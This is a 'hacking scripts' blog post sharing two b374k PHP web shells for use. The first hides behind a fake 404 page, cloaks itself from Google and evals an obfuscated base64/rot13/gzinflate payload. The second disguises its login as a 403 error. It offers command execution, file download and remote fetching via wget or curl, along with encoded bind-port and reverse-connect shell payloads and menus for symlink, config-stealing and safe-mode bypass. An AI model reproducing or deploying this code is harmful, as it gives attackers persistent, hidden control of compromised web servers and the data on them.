HackingScripts

Hack Scripts for everybody

Web Shell b374k

10 Feb 2014

Many thanks to x’1n73ct for recoding this b374k Web Shell.

 1 <?php
 2 
 3 /* (Web Shell b374k r3c0d3d by x'1n73ct|default pass:"1n73ction") */
 4 $auth_pass = "9c80a1eaca699e2fc6b994721f8703bc";
 5 $color = "#00ff00";
 6 $default_action = 'FilesMan';
 7 @define('SELF_PATH', __FILE__);
 8 if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
 9 header('HTTP/1.0 404 Not Found');
10 exit;
11 }
12 @session_start();
13 @error_reporting(0);
14 @ini_set('error_log',NULL);
15 @ini_set('log_errors',0);
16 @ini_set('max_execution_time',0);
17 @ini_set('output_buffering',0);
18 @ini_set('display_errors', 0);
19 @set_time_limit(0);
20 @set_magic_quotes_runtime(0);
21 @define('VERSION', '2.1');
22 if( get_magic_quotes_gpc() ) {
23 function stripslashes_array($array) {
24 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
25 }
26 $_POST = stripslashes_array($_POST);
27 }
28 function printLogin() {
29 ?>
30 <h1>Not Found</h1>
31 <p>The requested URL was not found on this server.</p>
32 <hr>
33 <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
34 <style>
35 input { margin:0;background-color:#fff;border:1px solid #fff; }
36 </style>
37 <center>
38 <form method=post>
39 <input type=password name=pass>
40 </form></center>
41 <?php
42 exit;
43 }
44 if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
45 if( empty( $auth_pass ) ||
46 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
47 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
48 else
49 printLogin();
50 function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");}
51 x("BcFLEkMwAADQA3UR41PtoosYVDCToE3ETklHQv1L3b7v+dTA5E1Vmj3lKq8JUnbFArMm3x6w0SsfmthiFIfpAOZJea99h9vY3n25Av/JpM4TuogsP7sYt/kWd63yMUoIFnpJcBE6OyxpNFWNDAIewUZ+Mupm1pqiuGI9P4aC71blFMl0TLOLF8YFtIbI6HB4DNA2wSKVPGnsAkRdm+7v9gc=");
52 ?>

..and another b374k shell recoded by BlackShadow:

   1 <?php error_reporting(0);
   2 @set_time_limit(0);
   3 @session_start();
   4 // configuration
   5 $xSoftware = trim(getenv("SERVER_SOFTWARE"));
   6 // server name
   7 $xServerName = $_SERVER["HTTP_HOST"];
   8 $xName = "Blackshadow";
   9 $masukin = "892ab763f02795bfa28354ef1d39059f"; //cange you password (hash md5)
  10 $nikmatin = (md5($_POST['pass']));
  11 $crotzz = 1; // ' 0 '  no login pass
  12 if ($nikmatin == $masukin) {
  13     $_SESSION['login'] = "$nikmatin";
  14 }
  15 if ($crotzz) {
  16     if (!isset($_SESSION['login']) or $_SESSION['login'] != $masukin) {
  17         die("
  18 
  19 <html>
  20   <head>
  21     <title>403 Forbidden</title>
  22     <style type=\"text/css\">
  23   input{
  24   margin:0;
  25   background-color:#fff;
  26   border:1px solid #fff;
  27   }
  28     </style>
  29    <H1>Forbidden</H1>
  30   </head>
  31   <body>
  32 <p>You don't have permission to access on this server.</P>
  33 <hr>
  34 <address>" . trim(getenv("SERVER_SOFTWARE")) . " Server at " . $_SERVER['HTTP_HOST'] . "  Port 80</address>
  35   <center><form method=\"post\">
  36         <input type=\"password\" name=\"pass\">
  37       </form></center>
  38   </body>
  39 </html>
  40             ");
  41     }
  42 }
  43 if (isset($_GET['dl']) && ($_GET['dl'] != "")) {
  44     $file = $_GET['dl'];
  45     $filez = @file_get_contents($file);
  46     header("Content-type: application/octet-stream");
  47     header("Content-length: " . strlen($filez));
  48     header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
  49     echo $filez;
  50     exit;
  51 } elseif (isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
  52     $file = $_GET['dlgzip'];
  53     $filez = gzencode(@file_get_contents($file));
  54     header("Content-Type:application/x-gzip
  55 ");
  56     header("Content-length: " . strlen($filez));
  57     header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
  58     echo $filez;
  59     exit;
  60 }
  61 if (isset($_GET['img'])) {
  62     @ob_clean();
  63     $d = magicboom($_GET['y']);
  64     $f = $_GET['img'];
  65     $inf = @getimagesize($d . $f);
  66     $ext = explode($f, ".");
  67     $ext = $ext[count($ext) - 1];
  68     @header("Content-type: " . $inf["mime"]);
  69     @header("Cache-control: public");
  70     @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
  71     @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
  72     @readfile($d . $f);
  73     exit;
  74 }
  75 $ver = "1.01";
  76 $software = getenv("SERVER_SOFTWARE");
  77 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
  78 else $safemode = FALSE;
  79 $system = @php_uname();
  80 if (strtolower(substr($system, 0, 3)) == "win") $win = TRUE;
  81 else $win = FALSE;
  82 if (isset($_GET['y'])) {
  83     if (@is_dir($_GET['view'])) {
  84         $pwd = $_GET['view'];
  85         @chdir($pwd);
  86     } else {
  87         $pwd = $_GET['y'];
  88         @chdir($pwd);
  89     }
  90 }
  91 if (!$win) {
  92     if (!$user = rapih(exe("whoami"))) $user = "";
  93     if (!$id = rapih(exe("id"))) $id = "";
  94     $prompt = $user . " \$ ";
  95     $pwd = @getcwd() . DIRECTORY_SEPARATOR;
  96 } else {
  97     $user = @get_current_user();
  98     $id = $user;
  99     $prompt = $user . " >";
 100     $pwd = realpath(".") . "\"; $v = explode("\",$d); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = @is_dir($letter.":
 101         \"); if ($bool) { $letters .= " < ahref = \"?y=" . $letter . ":\">[ ";
 102         if ($letter . ":" != $v) {
 103             $letters.= $letter;
 104         } else {
 105             $letters.= "<span class=\"gaya\">" . $letter . "</span>";
 106         }
 107         $letters.= " ]</a> ";
 108     }
 109 }
 110 }
 111 if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
 112 else $posix = FALSE;
 113 $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
 114 $my_ip = $_SERVER['REMOTE_ADDR'];
 115 $bindport = "13123";
 116 $bindport_pass = "b374k";
 117 $pwds = explode(DIRECTORY_SEPARATOR, $pwd);
 118 $pwdurl = "";
 119 for ($i = 0;$i < sizeof($pwds) - 1;$i++) {
 120     $pathz = "";
 121     for ($j = 0;$j <= $i;$j++) {
 122         $pathz.= $pwds[$j] . DIRECTORY_SEPARATOR;
 123     }
 124     $pwdurl.= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
 125 }
 126 if (isset($_POST['rename'])) {
 127     $old = $_POST['oldname'];
 128     $new = $_POST['newname'];
 129     @rename($pwd . $old, $pwd . $new);
 130     $file = $pwd . $new;
 131 }
 132 $buff = $software . "<br />";
 133 $buff.= $system . "<br />";
 134 if ($id != "") $buff.= $id . "<br />";
 135 $buff.= "server ip : " . $server_ip . " <span class=\"gaya\">|</span> your ip : " . $my_ip . "<br />";
 136 if ($safemode) $buff.= "safemode <span class=\"gaya\">ON</span><br />";
 137 else $buff.= "safemode <span class=\"gaya\">OFF<span><br />";
 138 if ('' == ($df = @ini_get('disable_functions'))) $buff.= "Disable_functions :<span class=\"df\">NONE</span><br />";
 139 else $buff.= "Disable_functions : <span class=\"df\">$df<span><br />";
 140 $buff.= $letters . "&nbsp;Dir :&nbsp;" . $pwdurl;
 141 function rapih($text) {
 142     return trim(str_replace("<br />", "", $text));
 143 }
 144 function magicboom($text) {
 145     if (!get_magic_quotes_gpc()) {
 146         return $text;
 147     }
 148     return stripslashes($text);
 149 }
 150 function showdir($pwd, $prompt) {
 151     $fname = array();
 152     $dname = array();
 153     if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
 154     else $posix = FALSE;
 155     $user = "????:????";
 156     if ($dh = opendir($pwd)) {
 157         while ($file = readdir($dh)) {
 158             if (is_dir($file)) {
 159                 $dname[] = $file;
 160             } elseif (is_file($file)) {
 161                 $fname[] = $file;
 162             }
 163         }
 164         closedir($dh);
 165     }
 166     sort($fname);
 167     sort($dname);
 168     $path = @explode(DIRECTORY_SEPARATOR, $pwd);
 169     $tree = @sizeof($path);
 170     $parent = "";
 171     $buff = " <form action=\"?y=" . $pwd . "&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\"> <table class=\"cmdbox\" style=\"width:50%;\"> <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form> <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form></table><table class=\"explore\"> <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr> ";
 172     if ($tree > 2) for ($i = 0;$i < $tree - 2;$i++) $parent.= $path[$i] . DIRECTORY_SEPARATOR;
 173     else $parent = $pwd;
 174     foreach ($dname as $folder) {
 175         if ($folder == ".") {
 176             if (!$win && $posix) {
 177                 $name = @posix_getpwuid(@fileowner($folder));
 178                 $group = @posix_getgrgid(@filegroup($folder));
 179                 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
 180             } else {
 181                 $owner = $user;
 182             }
 183             $buff.= "<tr><td><a href=\"?y=" . $pwd . "\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($pwd) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form></td></tr> ";
 184         } elseif ($folder == "..") {
 185             if (!$win && $posix) {
 186                 $name = @posix_getpwuid(@fileowner($folder));
 187                 $group = @posix_getgrgid(@filegroup($folder));
 188                 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
 189             } else {
 190                 $owner = $user;
 191             }
 192             $buff.= "<tr><td><a href=\"?y=" . $parent . "\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($parent) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form> </td></tr>";
 193         } else {
 194             if (!$win && $posix) {
 195                 $name = @posix_getpwuid(@fileowner($folder));
 196                 $group = @posix_getgrgid(@filegroup($folder));
 197                 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
 198             } else {
 199                 $owner = $user;
 200             }
 201             $buff.= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\">[ $folder ]</a> <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" /> </form> <td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($pwd . $folder) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=" . $pwd . $folder . "\">delete</a></td></tr>";
 202         }
 203     }
 204     foreach ($fname as $file) {
 205         $full = $pwd . $file;
 206         if (!$win && $posix) {
 207             $name = @posix_getpwuid(@fileowner($file));
 208             $group = @posix_getgrgid(@filegroup($file));
 209             $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
 210         } else {
 211             $owner = $user;
 212         }
 213         $buff.= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y=$pwd&amp;view=$full\">$file</a> <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" /> </form> </td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($full) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
 214     }
 215     $buff.= "</table>";
 216     return $buff;
 217 }
 218 function ukuran($file) {
 219     if ($size = @filesize($file)) {
 220         if ($size <= 1024) return $size;
 221         else {
 222             if ($size <= 1024 * 1024) {
 223                 $size = @round($size / 1024, 2);;
 224                 return "$size kb";
 225             } else {
 226                 $size = @round($size / 1024 / 1024, 2);
 227                 return "$size mb";
 228             }
 229         }
 230     } else return "???";
 231 }
 232 function exe($cmd) {
 233     if (function_exists('system')) {
 234         @ob_start();
 235         @system($cmd);
 236         $buff = @ob_get_contents();
 237         @ob_end_clean();
 238         return $buff;
 239     } elseif (function_exists('exec')) {
 240         @exec($cmd, $results);
 241         $buff = "";
 242         foreach ($results as $result) {
 243             $buff.= $result;
 244         }
 245         return $buff;
 246     } elseif (function_exists('passthru')) {
 247         @ob_start();
 248         @passthru($cmd);
 249         $buff = @ob_get_contents();
 250         @ob_end_clean();
 251         return $buff;
 252     } elseif (function_exists('shell_exec')) {
 253         $buff = @shell_exec($cmd);
 254         return $buff;
 255     }
 256 }
 257 function tulis($file, $text) {
 258     $textz = gzinflate(base64_decode($text));
 259     if ($filez = @fopen($file, "w")) {
 260         @fputs($filez, $textz);
 261         @fclose($file);
 262     }
 263 }
 264 function ambil($link, $file) {
 265     if ($fp = @fopen($link, "r")) {
 266         while (!feof($fp)) {
 267             $cont.= @fread($fp, 1024);
 268         }
 269         @fclose($fp);
 270         $fp2 = @fopen($file, "w");
 271         @fwrite($fp2, $cont);
 272         @fclose($fp2);
 273     }
 274 }
 275 function which($pr) {
 276     $path = exe("which $pr");
 277     if (!empty($path)) {
 278         return trim($path);
 279     } else {
 280         return trim($pr);
 281     }
 282 }
 283 function download($cmd, $url) {
 284     $namafile = basename($url);
 285     switch ($cmd) {
 286         case 'wwget':
 287             exe(which('wget') . " " . $url . " -O " . $namafile);
 288         break;
 289         case 'wlynx':
 290             exe(which('lynx') . " -source " . $url . " > " . $namafile);
 291         break;
 292         case 'wfread':
 293             ambil($wurl, $namafile);
 294         break;
 295         case 'wfetch':
 296             exe(which('fetch') . " -o " . $namafile . " -p " . $url);
 297         break;
 298         case 'wlinks':
 299             exe(which('links') . " -source " . $url . " > " . $namafile);
 300         break;
 301         case 'wget':
 302             exe(which('GET') . " " . $url . " > " . $namafile);
 303         break;
 304         case 'wcurl':
 305             exe(which('curl') . " " . $url . " -o " . $namafile);
 306         break;
 307         default:
 308         break;
 309     }
 310     return $namafile;
 311 }
 312 function get_perms($file) {
 313     if ($mode = @fileperms($file)) {
 314         $perms = '';
 315         $perms.= ($mode & 00400) ? 'r' : '-';
 316         $perms.= ($mode & 00200) ? 'w' : '-';
 317         $perms.= ($mode & 00100) ? 'x' : '-';
 318         $perms.= ($mode & 00040) ? 'r' : '-';
 319         $perms.= ($mode & 00020) ? 'w' : '-';
 320         $perms.= ($mode & 00010) ? 'x' : '-';
 321         $perms.= ($mode & 00004) ? 'r' : '-';
 322         $perms.= ($mode & 00002) ? 'w' : '-';
 323         $perms.= ($mode & 00001) ? 'x' : '-';
 324         return $perms;
 325     } else return "??????????";
 326 }
 327 function clearspace($text) {
 328     return str_replace(" ", "_", $text);
 329 }
 330 $port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jv f+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQr?J EP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41Z ZdKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6V L3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVK?u gUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpX kHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J?4 WtyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsU LZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYu?k 6uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
 331 $port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr 1NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzf?w gtNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQk De/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM 0LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRr?V ovaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjG B+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
 332 $back_connect = "fZFRS8MwF IXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0StktGB8aihs prPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28jS2whVulCf lCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZja3ImclYa gh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92 +rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
 333 $back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29r WhyEzc+Z2TjpSserABYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl9?5 /3Wa43fpotyCABR95zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vK C1rI6wgSmN/niYb75i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVC nim7a/ZuJC0JTwf3ARkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlx iuPB3E0/gXejiHMcYjwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3X Ie1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
 334 $domain = "bVNRj6IwEH434T/MVZPCxaPuPSpw+3DZf3BPxjMVBmm2UNLWRW/jf79ScHV1gRKmM/PN12+GWbFY1JDCcykkhoShzVnDayziXDUliVbBJJiIMvw26wOjYPIeTAqBEBLIeUMtaOQFfJV2DiYoDfb5LgfzSgFJLN9JhFxyY1JaqJqLhnIp9k1Kc2wsagpZYovst3eZhLnv3v5jUF8tc6qlaF7BbxBXq1SORl6FniRwAzOHHb2P3FHjXoTkn2qQzL1ncLVuf1tzm1dbLmVIp30EkDD+HpEpnXuQ4W06MyhRyoOpwg9VjNUSm9BqUYdj3Ppps15soggy+DmUmR0ceSdxq4w4bvdo2+4gitArrroG9Sj7mxOCGzSMxHdYvpyHMsKig/KQa9orTjcwup9HWRwcmRNnMK2UHVv4kXmLPHhET44KTUdTelPS8ZAQXnVy0PFfl8AGHa8UQWl4CJOPYcMAXciQpBBvYOxJYkohV1LpJUxfXhbughVYPNofpuKF6pawaI9+PbmlsVgBze50iknCHJ4fiPMgyTB1wSSxOuvtfnjcu696nUGaJRws164zKd3uJG9eKVQay7Sytl0y1nVd/FCL9eX7c8TEzSHPwOEyDz8WulTY8xOnbtuF33YtJp8SLvfIkA8E6KWLrFI1sgcI1h52UuTbytaS3p/h5jfh2Wd2zOkBZJyb25k+3zy/sv8=";
 335 ?>
 336 <html><head><title>403 Forbidden</title> <script type="text/javascript"> function tukar(lama,baru){ document.getElementById(lama).style.display = 'none'; document.getElementById(baru).style.display = 'block'; } </script> <style type="text/css">
 337 body{ background:#000000; } a { text-decoration:none; } a:hover{
 338    border-bottom-width: 1px;
 339    border-bottom-style: solid;
 340    border-bottom-color: #990000;
 341 } *{ font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; } #menu{
 342    margin-top: 8px;
 343    margin-right: 6px;
 344    margin-bottom: 2px;
 345    margin-left: 2px;
 346    background-color: #990000;
 347    height: 24px;
 348 } #menu a{
 349    margin:0;
 350    background:#222222;
 351    text-decoration:none;
 352    letter-spacing:2px;
 353    font-family: tahoma, verdana, Arial;
 354    color: #CC0000;
 355    padding-top: 4px;
 356    padding-right: 12px;
 357    padding-bottom: 6px;
 358    padding-left: 18px;
 359 } #menu a:hover{ background:#191919; border-bottom:1px solid #333333; border-top:1px solid #333333; } .tabnet{
 360    margin:15px auto 0 auto;
 361    border: 1px solid #333333;
 362    color: #FFCC00;
 363 } .main {
 364    width:97%;
 365    margin:30px auto 10px;
 366    padding:10px 10px 5px 10px;
 367    border-radius:5px;
 368 -moz-border-radius:5px; -moz-box-shadow:0px 0px 10px #990000; -webkit-box-shadow:0px 0px 5px #990000;  background-color: #000000;
 369 }
 370 .domain {
 371    color: #CC0000;
 372    border: 1px solid #990000;
 373 }
 374 .gaya { color: #CC0000; }
 375 .df {
 376    color: #CC0000;
 377    font-family: tahoma, verdana, Arial;
 378 }
 379  .gaya a { color: #CC0000; } .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; } .inputzbut{ background:#111111; color:#CC0000; margin:0 4px; border:1px solid #444444; cursor:pointer;} .inputz:hover, .inputzbut:hover{ border-bottom:1px solid #CC0000; border-top:1px solid #CC0000; } .output { margin:auto; border:1px solid #CC0000; width:100%; height:400px; background:#000000; padding:0 2px; } .cmdbox{ width:100%; } .head_info{ padding: 0 4px; } .b1{ font-size:30px; padding:0; color:#444444; } .b2{ font-size:30px; padding:0; color: #333333; } .b_tbl{ text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; } .phpinfo table{ width:100%; padding:0 0 0 0; } .phpinfo td{ background:#111111; color:#cccccc; padding:6px 8px;; } .phpinfo th, th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .phpinfo h2, .phpinfo h2 a{ text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; } .explore{ width:100%; } .explore a { text-decoration:none; } .explore td{ border-bottom:1px solid #333333; padding:0 8px; line-height:24px; } .explore th{ padding:3px 8px; font-weight:normal; } .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #CC0000; } .explore tr:hover{
 380    cursor:pointer;
 381    background-color: #990000;
 382 } .viewfile{ background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; } .sembunyi{ display:none; padding:0;margin:0;} .info{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px;} .info a{ font-size:14px;} .info span{ font-size:14px;} .jaya{ margin:5px; text-align:right; }
 383 </style>
 384 </head> <body onLoad="document.getElementById('cmd').focus();"> <div class="main"> <!-- head info start here --> <div class="head_info"> <table>
 385   <tr> <td rowspan="2"><table class="b_tbl"><tr><td><a href="?"><span class="b1"><img src="http://spyr00t.tk/wp-content/themes/nothingsecure/images/indonesianblackhat.png" width="319" height="100" border="0"></span></a></td>
 386   </tr><tr>
 387     <td><span class="gaya"><?php echo $xName; ?></span>  Indonesian Blackhat </td>
 388   </tr></table></td> <td><?php echo $buff; ?><br/></td>
 389   </tr>
 390   <tr>
 391 
 392   </tr>
 393 </table>
 394 </div> <!-- head info end here -->
 395 
 396  <!-- menu start --> <div id="menu"> <a href="?<?php echo "y=" . $pwd; ?>">explore</a> <a href="?<?php echo "y=" . $pwd; ?>&x=shell">shell</a> <a href="?<?php echo "y=" . $pwd; ?>&x=php">eval</a> <a href="?<?php echo "y=" . $pwd; ?>&x=mysql">mysql</a> <a href="?<?php echo "y=" . $pwd; ?>&x=phpinfo">phpinfo</a> <a href="?<?php echo "y=" . $pwd; ?>&x=netsploit">netsploit</a> <a href="?<?php echo "y=" . $pwd; ?>&x=upload">upload</a> <a href="?<?php echo "y=" . $pwd; ?>&x=jumping">jumping</a> <a href="?<?php echo "y=" . $pwd; ?>&x=symlink">symlink</a>
 397 
 398   <a href="?<?php echo "y=" . $pwd; ?>&x=domain">domain</a>
 399   <a href="?<?php echo "y=" . $pwd; ?>&x=bypass">bypass</a>
 400   <a href="?<?php echo "y=" . $pwd; ?>&x=logout">logout</a> </div>
 401 
 402 
 403   <!-- menu end -->
 404   <!-- menu2 start -->
 405 
 406   <div id="menu"><a onClick="window.open('http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER['SERVER_ADDR']; ?>">Site list</a>
 407    <a href="?<?php echo "y=" . $pwd; ?>&x=python">python</a>
 408    <a href="?<?php echo "y=" . $pwd; ?>&x=cgi">Cgi Shell</a>
 409    <a href="?<?php echo "y=" . $pwd; ?>&x=cgi2012">CGI-Telnet 2012</a>
 410    <a href="?<?php echo "y=" . $pwd; ?>&x=phpini">Safe Mode</a>
 411 
 412    <a href="?<?php echo "y=" . $pwd; ?>&x=config">Config Sh3ll</a>
 413      <a href="?<?php echo "y=" . $pwd; ?>&x=wp">Wordpress</a>
 414     <a href="?<?php echo "y=" . $pwd; ?>&x=joomla">Joomla</a>
 415    </div> <!-- menu2 end -->
 416 
 417 
 418 
